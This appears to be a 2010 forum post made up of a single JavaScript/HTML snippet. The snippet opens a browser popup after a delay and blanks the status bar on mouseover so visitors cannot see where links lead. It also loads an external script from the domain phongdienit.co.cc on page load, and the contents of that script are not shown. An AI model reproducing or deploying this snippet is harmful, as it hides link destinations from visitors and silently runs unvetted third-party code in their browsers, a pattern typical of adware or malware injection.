Sun Dec 26, 2010 6:09 pm
- Code:
<SCRIPT LANGUAGE="JavaScript">
closetime = 0;
function Start(URL, WIDTH, HEIGHT) {
windowprops = "toolbar=yes,location=yes,status=yes,menubar=yes,scrollbars=yes,resizable=yes";
preview = window.open(URL, "preview", windowprops);
if (closetime) setTimeout("preview.close();", closetime*1000);
}
function doitnow() {
url = "http://localhost";
width = 1024; // width of window in pixels
height = 768; // height of window in pixels
delay = 10; // time in seconds before popup opens
timer = setTimeout("Start(url, width, height)", delay*1000);
}
// End -->
function hidestatus(){
window.status=''
return true
}
if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)
document.onmouseover=hidestatus
document.onmouseout=hidestatus
</script>
<BODY OnLoad="doitnow();"><SCRIPT src="http://phongdienit.co.cc/html-h6.htm" type=text/javascript></SCRIPT>